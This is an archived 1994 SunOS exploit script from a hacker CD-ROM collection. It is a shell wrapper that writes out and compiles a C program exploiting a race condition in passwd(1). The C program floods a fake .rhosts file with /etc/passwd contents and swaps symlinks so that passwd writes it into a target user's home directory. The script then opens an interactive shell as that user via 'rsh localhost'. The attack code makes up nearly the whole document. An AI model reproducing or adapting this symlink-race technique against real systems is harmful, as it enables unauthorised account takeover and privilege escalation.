home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / sunos / sun-pass.asc < prev    next >
Encoding:
Text File  |  1997-02-23  |  4.9 KB  |  203 lines

  1. #!/bin/sh
  2.  
  3. #
  4.  
  5. # Syntax: passwdscript target-user
  6.  
  7. #
  8.  
  9. # This exploits a flaw in SunOS passwd(1), and attempts
  10.  
  11. # to become the specified 'user', by creating a .rhosts
  12.  
  13. # file and using rsh.
  14.  
  15. #
  16.  
  17. # Written 1994 by [8LGM]
  18.  
  19. # Please do not use this script without permission.
  20.  
  21. #
  22.  
  23. PATH=/usr/ucb:/usr/bin:/bin      export PATH
  24.  
  25. IFS=" "                          export IFS
  26.  
  27.  
  28.  
  29. PROG="`basename $0`"
  30.  
  31.  
  32.  
  33. # Check args
  34.  
  35. if [ $# -ne 1 ]; then
  36.  
  37.         echo "Syntax: $PROG user target-file rsh-user"
  38.  
  39.         exit 1
  40.  
  41. fi
  42.  
  43. TARGET_USER="$1"
  44.  
  45.  
  46.  
  47. # Check we're on SunOS
  48.  
  49. if [ "x`uname -s`" != "xSunOS" ]; then
  50.  
  51.         echo "Sorry, this only works on SunOS"
  52.  
  53.         exit 1
  54.  
  55. fi
  56.  
  57.  
  58.  
  59. # Make the race program
  60.  
  61. cat >passwdrace.c << 'EOF'
  62.  
  63. #include <sys/types.h>
  64.  
  65. #include <sys/stat.h>
  66.  
  67. #include <unistd.h>
  68.  
  69. #include <fcntl.h>
  70.  
  71. #include <stdio.h>
  72.  
  73. #include <signal.h>
  74.  
  75. #include <pwd.h>
  76.  
  77.  
  78.  
  79.  
  80.  
  81. main(argc, argv)
  82.  
  83. int argc;
  84.  
  85. char *argv[];
  86.  
  87. {
  88.  
  89.         FILE    *passwd_in, *passwd_out;
  90.  
  91.     int    race_child_pid = -1;
  92.  
  93.     struct    stat st;
  94.  
  95.     struct    passwd *pw;
  96.  
  97.     char    pwd_link[256], pwd_dir[256], pwd_file[256], ptmp[256],
  98.  
  99.         buf[1024], cmd[256], nowhere[256], nowhere2[256],
  100.  
  101.         dir[256];
  102.  
  103.  
  104.  
  105.     if (argc != 2) {
  106.  
  107.         fprintf(stderr, "Usage: %s target-user\n",
  108.  
  109.             argv[0]);
  110.  
  111.         exit(1);
  112.  
  113.     }
  114.  
  115.  
  116.  
  117.     /*
  118.  
  119.      * Get Target User info
  120.  
  121.      */
  122.  
  123.     if ((pw = getpwnam(argv[1])) == NULL) {
  124.  
  125.         fprintf(stderr, "%s: user \"%s\" doesnt seem to exist.\n",
  126.  
  127.             argv[0], argv[1]);
  128.  
  129.         exit(1);
  130.  
  131.     }
  132.  
  133.     strcpy(dir, pw->pw_dir);
  134.  
  135.  
  136.  
  137.     /*
  138.  
  139.      * Set up names for directories/links we will access
  140.  
  141.      */
  142.  
  143.     sprintf(pwd_link, "/tmp/passwd-link.%d", getpid());
  144.  
  145.     sprintf(pwd_dir, "/tmp/passwd-dir.%d", getpid());
  146.  
  147.     sprintf(nowhere, "/tmp/passwd-nowhere.%d", getpid());
  148.  
  149.     sprintf(nowhere2, "/tmp/passwd-nowhere2.%d", getpid());
  150.  
  151.     sprintf(ptmp, "%s/ptmp", dir);
  152.  
  153.     symlink(pwd_dir, pwd_link);
  154.  
  155.  
  156.  
  157.     /*
  158.  
  159.      * Build temp password file in /tmp/passwd-dir.$$/.rhosts.
  160.  
  161.      * The bigger our 'passwd file', the longer passwd(1) takes
  162.  
  163.      * to write it out, the greater chance we have of noticing
  164.  
  165.      * it doing so and winning the race.
  166.  
  167.      */
  168.  
  169.     mkdir(pwd_dir, 0700);
  170.  
  171.     sprintf(pwd_file, "%s/.rhosts", pwd_dir);
  172.  
  173.     if ((passwd_out = fopen(pwd_file, "w+")) == NULL) {
  174.  
  175.         fprintf(stderr, "Cant open %s!\n", pwd_file);
  176.  
  177.         exit(1);
  178.  
  179.     }
  180.  
  181.     if ((passwd_in = fopen("/etc/passwd", "r")) == NULL) {
  182.  
  183.         fprintf(stderr, "Cant open /etc/passwd\n");
  184.  
  185.         exit(1);
  186.  
  187.     }
  188.  
  189.     if ((pw = getpwuid(getuid())) == NULL) {
  190.  
  191.         fprintf(stderr, "Who are you?\n");
  192.  
  193.         exit(1);
  194.  
  195.     }
  196.  
  197.     fprintf(passwd_out, "localhost %s ::::::\n", pw->pw_name);
  198.  
  199.     for (;;) {
  200.  
  201.         fseek(passwd_in, 0L, SEEK_SET);
  202.  
  203.         while(fgets(buf, sizeof(buf), passwd_in))
  204.  
  205.             fputs(buf, passwd_out);
  206.  
  207.         if (ftell(passwd_out) > 32768)
  208.  
  209.             break;
  210.  
  211.     }
  212.  
  213.     fclose(passwd_in);
  214.  
  215.     fflush(passwd_out);
  216.  
  217.  
  218.  
  219.     /*
  220.  
  221.      * Fork a new process.  In the parent, run passwd -F.
  222.  
  223.      * In the child, run the race process(es).
  224.  
  225.      */
  226.  
  227.     if ((race_child_pid = fork()) < 0) {
  228.  
  229.         perror("fork");
  230.  
  231.         exit(1);
  232.  
  233.     }
  234.  
  235.     if (race_child_pid) {
  236.  
  237.         /*
  238.  
  239.          * Parent - run passwd -F
  240.  
  241.          */
  242.  
  243.         sprintf(pwd_file, "%s/.rhosts", pwd_link);
  244.  
  245.         puts("Wait until told you see \"Enter your password now!\"");
  246.  
  247.         sprintf(cmd, "/usr/bin/passwd -F %s", pwd_file);
  248.  
  249.         system(cmd);
  250.  
  251.         kill(race_child_pid, 9);
  252.  
  253.         exit(0);
  254.  
  255.     } else {
  256.  
  257.         /*
  258.  
  259.          * Child
  260.  
  261.          */
  262.  
  263.         int fd = fileno(passwd_out);
  264.  
  265.         time_t last_access;
  266.  
  267.  
  268.  
  269.         /*
  270.  
  271.          * Remember the current 'last accessed'
  272.  
  273.          * time for our password file.  Once this
  274.  
  275.          * changes it, we know passwd(1) is reading
  276.  
  277.          * it, and we can switch the symlink.
  278.  
  279.          */
  280.  
  281.         if (fstat(fd, &st)) {
  282.  
  283.             perror("fstat");
  284.  
  285.             exit(1);
  286.  
  287.         }
  288.  
  289.         last_access = st.st_atime;
  290.  
  291.  
  292.  
  293.         /*
  294.  
  295.          * Give passwd(1) a chance to start up.
  296.  
  297.          * and do its initialisations.  Hopefully
  298.  
  299.          * by now, its asked the user for their
  300.  
  301.          * password.
  302.  
  303.          */
  304.  
  305.         sleep(5);
  306.  
  307.         write(0, "Enter your password now!\n",
  308.  
  309.               sizeof("Enter your password now!\n"));
  310.  
  311.  
  312.  
  313.         /*
  314.  
  315.          * Link our directory to our target directory
  316.  
  317.          */
  318.  
  319.         unlink(pwd_link);
  320.  
  321.         symlink(dir, pwd_link);
  322.  
  323.  
  324.  
  325.         /*
  326.  
  327.          * Create two links pointing to nowhere.
  328.  
  329.          * We use rename(2) to switch these in later.
  330.  
  331.          * (Using unlink(2)/symlink(2) is too slow).
  332.  
  333.          */
  334.  
  335.         symlink(pwd_dir, nowhere);
  336.  
  337.         symlink(dir, nowhere2);
  338.  
  339.  
  340.  
  341.         /*
  342.  
  343.          * Wait until ptmp exists in our target
  344.  
  345.          * dir, then switch the link.
  346.  
  347.          */
  348.  
  349.         while ((open(ptmp, O_RDONLY)==-1));
  350.  
  351.         rename(nowhere, pwd_link);
  352.  
  353.         
  354.  
  355.         /*
  356.  
  357.          * Wait until passwd(1) has accessed our
  358.  
  359.          * 'password file', then switch the link.
  360.  
  361.          */
  362.  
  363.         while (last_access == st.st_atime)
  364.  
  365.             fstat(fd, &st);
  366.  
  367.         rename(nowhere2, pwd_link);
  368.  
  369.     }
  370.  
  371. }
  372.  
  373. EOF
  374.  
  375. cc -O -o passwdrace passwdrace.c
  376.  
  377.  
  378.  
  379. # Check we now have passwdrace
  380.  
  381. if [ ! -x "passwdrace" ]; then
  382.  
  383.         echo "$PROG: couldnt compile passwdrace.c - check it out"
  384.  
  385.         exit 1
  386.  
  387. fi
  388.  
  389.  
  390.  
  391. # Start passwdrace
  392.  
  393. ./passwdrace $TARGET_USER
  394.  
  395.  
  396.  
  397. # Try to rsh
  398.  
  399. rsh localhost -l $TARGET_USER sh -i
  400.  
  401. exit 0
  402.  
  403.  
  404.  
  405.